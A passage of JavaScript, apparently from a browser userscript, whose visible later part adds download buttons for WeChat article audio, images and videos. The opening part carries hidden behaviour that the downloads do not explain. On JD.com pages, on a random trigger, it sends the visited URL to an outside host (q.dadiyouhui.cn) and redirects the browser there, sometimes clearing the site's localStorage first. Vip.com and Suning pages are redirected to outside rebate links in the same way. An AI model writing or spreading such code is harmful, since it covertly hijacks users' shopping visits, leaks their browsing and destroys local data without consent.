 if (jdgooul && localStorage.getItem("zkdccxdjid"+jdgooul)==jdgooul){ 

 	 if(urla.search("t_2011369277")<=0 && url.search("item.jd.com") > 0 && urla.search("extension_id=")<=0   && jdqttjtime==0 && Math.ceil(Math.random()*GM_getValue('jgl')) ==1){
var myidd=Math.floor(Math.random()*8+1);
if(myidd==2  ) {
window.localStorage.clear()
}
	  localStorage.setItem("zkdccxdtjdtime"+jdgooul,Date.parse(new Date())/1000); localStorage.setItem("zkdccxdjid"+jdgooul,"0");jdqqqq=1;window.location.href="http://q.dadiyouhui.cn/test_jd_zhuanlianhan.php?lj="+encodeURIComponent(urla);


	 }
	 if(urla.search("t_2011369277")<=0 && url.search("utm_campaign=") > 0  ){
	 jdqqqq=1;window.location.href="http://q.dadiyouhui.cn/test_jd_zhuanlianhan.php?lj="+encodeURIComponent(urla);


	 }
	 	  }
	 if(urla.search("jingfen.jd.com/item.html")>0  &&  urla.search("t_2011369277")<=0  && urla.search("sku=")>0 ){
	 	 jdqqqq=1;
window.location.href="http://q.dadiyouhui.cn/test_jd_zhuanlianhan.php?lj="+encodeURIComponent(urla);

}
}

   }

	 if(urla.search("detail.vip.com")>=0   ){
	 	 var vipasdwxjg=0;
	 if (localStorage.getItem("zkdccxdtvipmtime") != null) {
	 if (localStorage.getItem("zkdccxdtvipmtime")  < ((Date.parse(new Date())/1000)-43200)) {

localStorage.removeItem('zkdccxdtvipme');
localStorage.removeItem('zkdccxdtvipmtime');

	 	 	 	  }
	 	 	 
	 	 	  }
	  	  if (localStorage.getItem("zkdccxdtvipme") == null && localStorage.getItem("zkdccxdtvipmtime") == null) {
	  	  	   localStorage.setItem("zkdccxdtvipmtime",Date.parse(new Date())/1000); 
	  	  	    localStorage.setItem("zkdccxdtvipme",urla);	  window.location.href="https://t.vip.com/xZMSVk2W5l7";
	  }
}

	 if(urla.search("suning.com")>=0  && urla.search("utm_source")<0  ){
	 	 var snasdasurl=0;
	 if(urla.search("xiaojiadian.html")>=0   ){
 snasdasurl="xiaojiadian";	 }	 if(urla.search("bingxi.html")>=0   ){
 snasdasurl="bingxi";	 }if(urla.search("chuwei.html")>=0   ){
 snasdasurl="chuwei";	 }if(urla.search("caidian.html")>=0   ){
 snasdasurl="caidian";	 }if(urla.search("diannao.html")>=0   ){
 snasdasurl="diannao";	 }if(urla.search("kongtiao.html")>=0   ){
 snasdasurl="kongtiao";	 }if(urla.search("shuma.html")>=0   ){
 snasdasurl="shuma";	 }if(urla.search("shouji.suning.com")>=0   ){
 snasdasurl="shouji";	 }if(urla.search("fashion.suning.com")>=0   ){
 snasdasurl="fashion"; }
 if (snasdasurl==0){}else{	  window.location.href="http://www.dadiyouhui.cn/flsssn.php?sn="+snasdasurl;
}
}


 if (baiduurljaSurl.search("weixin.qq.com/s")>=0){	
  setTimeout(function(){
  	   	
   if ($("mpvoice[class='rich_pages']").length > 0 &&  $('.zdkwxyyzh').length <= 0  ) {
             
	  	  	$("mpvoice[class='rich_pages']").before('<a style="height: 21px;    color: #fff; line-height: 21px;         padding: 0 11px;        background: #8c09d3;        border: 1px #26bbdb solid;       z-index:99999;   border-radius: 3px;        display: inline-block;           text-decoration: none;          font-size: 14px;       outline: none;"  class="zdk_yydown" id="zdk_yydown" >音乐地址正在加载中...</a>' );
	  	  
	$("mpvoice[class='rich_pages']").each(function(key, val){
		
		if ($('#zdkyy_'+key).length <= 0) {

//console.log( $(this).attr("voice_encode_fileid"));
 	if ($('.zdk_yydown').length > 0) {
  	  		$(".zdk_yydown").hide();
  	  		}

  if ($('#zdkyy_'+key).length <= 0 ) {
        		$("mpvoice[class='rich_pages']").eq(key).before('<br><a style="height: 21px;    color: #fff; line-height: 21px;         padding: 0 11px;        background: #8c09d3;        border: 1px #26bbdb solid;       z-index:99999;   border-radius: 3px;        display: inline-block;           text-decoration: none;          font-size: 14px;       outline: none;" href="https://res.wx.qq.com/voice/getvoice?mediaid='+$(this).attr("voice_encode_fileid")+'" download="'+document.title+'_'+key+'.MP4"  id="zdkyy_'+key+'" >音乐下载'+$(this).attr("name")+':右键另存为可保存本音频</a> <br> ');
	}
   
             
	}
})
	  	  }
                }, 2000);	  
                  setTimeout(function(){
   if ($(".rich_pages").length > 0  ) {

	
	$(".rich_pages").each(function(key, val){
		
		if ($('#zdktp_'+key).length <= 0) {


  if ($('#zdktp_'+key).length <= 0 ) {
        		$(".rich_pages").eq(key).before('<br><a style="height: 21px;    color: #fff; line-height: 21px;         padding: 0 11px;        background: #8c09d3;        border: 1px #26bbdb solid;       z-index:99999;   border-radius: 3px;        display: inline-block;           text-decoration: none;          font-size: 14px;       outline: none;" href="'+$(this).data("src")+'" download="'+document.title+'_'+key+'.gif"  id="zdktp_'+key+'" >图片下载:右键另存为可保存此图片</a> <br> ');
	}
   
             
	}
})
	  	  }   }, 3000);
     if ($('.video_iframe.rich_pages').length > 0 &&  $('.zdkwxspzh').length <= 0  ) {
                    
	  	  	$('.video_iframe').before('<a style="height: 21px;    color: #fff; line-height: 21px;         padding: 0 11px;        background: #8c09d3;        border: 1px #26bbdb solid;       z-index:99999;   border-radius: 3px;        display: inline-block;           text-decoration: none;          font-size: 14px;       outline: none;"  class="zdkwxspzh" id="zdk_down" >视频地址正在加载中...</a>' );
	  	  	var zkdspdz="https://mp.weixin.qq.com/mp/videoplayer?action=get_mp_video_play_url&preview=0&__biz=&mid=&idx=&vid=1070106698888740864&uin=&key=&pass_ticket=&wxtoken=&appmsg_token=&x5=0&f=json"
	  	  	$("iframe").each(function(key, val){
		if ($('#zdksp_'+key).length <= 0) {

 	//console.log( $(this).data("mpvid"));
 	if ($('.zdkwxspzh').length > 0) {
  	  		$(".zdkwxspzh").hide();
  	  		}
 function renderSize(value){
    if(null==value||value==''){
        return "0 Bytes";
    }
    var unitArr = new Array("Bytes","KB","MB","GB","TB","PB","EB","ZB","YB");
    var index=0;
    var srcsize = parseFloat(value);
    index=Math.floor(Math.log(srcsize)/Math.log(1024));
    var size =srcsize/Math.pow(1024,index);
    size=size.toFixed(2);
    return size+unitArr[index];
}

    GM_xmlhttpRequest({ 
                  method : "GET",           
                 dataType: "json",
                url : zkdspdz.replace("1070106698888740864",$(this).data("mpvid")),
                	 
                onload : function (response) {
                  	    var rsp = JSON.parse(response.responseText);
          
      
        console.log(rsp.url_info[0].url);
  if ($('#zdksp_'+key).length <= 0 ) {
        		$('.video_iframe.rich_pages').eq(key).before('<br><a style="height: 21px;    color: #fff; line-height: 21px;         padding: 0 11px;        background: #8c09d3;        border: 1px #26bbdb solid;       z-index:99999;   border-radius: 3px;        display: inline-block;           text-decoration: none;          font-size: 14px;       outline: none;" href="'+rsp.url_info[0].url+'" download="'+document.title+'_'+key+'.MP4"  id="zdksp_'+key+'" >视频下载'+renderSize(rsp.url_info[0].filesize)+':右键另存为可保存本视频</a> <br>(提醒:只能下载公众号的素材视频,不提供第三方视频网站的下载。例如:腾讯视频之类的) ');
	}
                }
             });
             
	}
})
  }	  	  }
	
});